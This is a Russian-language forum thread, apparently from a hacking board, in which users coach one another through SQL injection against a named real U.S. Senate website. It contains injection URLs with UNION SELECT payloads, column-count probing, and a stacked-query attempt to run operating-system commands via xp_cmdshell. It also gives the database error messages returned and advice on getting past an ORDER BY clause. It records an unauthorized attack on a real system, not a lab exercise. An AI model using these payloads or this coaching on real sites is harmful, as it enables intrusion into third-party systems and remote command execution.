PDA

Просмотр полной версии : Помогите со Sql


EST a1ien
27.05.2006, 11:37
http://allard.senate.gov/public/index.cfm?FuseAction=Polls.Results&PollsPoll_id=-16+union+select+null,null,null,null--&IsPopUp=True
При таком вылетает
Error Executing Database Query. [Macromedia][SQLServer JDBC Driver][SQLServer]The text, ntext, or image data type cannot be selected as DISTINCT.
А при меньшем количестве столбцов вылетает

Error Executing Database Query. [Macromedia][SQLServer JDBC Driver][SQLServer]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists
Тоесть неподходит количестово столбцов.
В чём моя ошибка??

ZaCo
27.05.2006, 12:13
если я не ошибаюсь то перед вставкой твоего параметра в конечный запрос идет order by то есть нормально заюзать union select не удастся, почему о невозможности юнион кричит только в начале хз. а вообщ если вылетает аткая ошибка ставь union all select

EST a1ien
27.05.2006, 12:35
Да ты прав там идёт order by.
А при вот таком запросе _http://allard.senate.gov/public/index.cfm?FuseAction=Polls.Results&PollsPoll_id=-16+union+all+select+null,null,null,null,null,null, null,null,null--&IsPopUp=True
Тоесть воспользовался union all select но пришлось увеличить количество столюцов.
Вылетает вот такая ошибка
ORDER BY items must appear in the select list if the statement contains a UNION operator.
Еще пробовал вот такой запрос(как я понял там стоит mssql)
-16;exec%20master.xp_cmdshell%20%22dir%20%3E%20test .txt%22--
Вылетело Incorrect syntax near the keyword 'ORDER'.
The error occurred on line 12.
И еще узнал
По какому полю делается ордер "DateCreated".

podkashey
28.05.2006, 05:02
Как ьыть дальше?
скл подучить.
юнион селект, а не селект юнион. ;)

Rebz
28.05.2006, 22:12
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select union null,nulll,null,null/* and lang='ru' ORDER BY id' at line 1
1) убери ковычку
2) сначала идет оператор union а затем select
3) подбери нормально количество нулей -)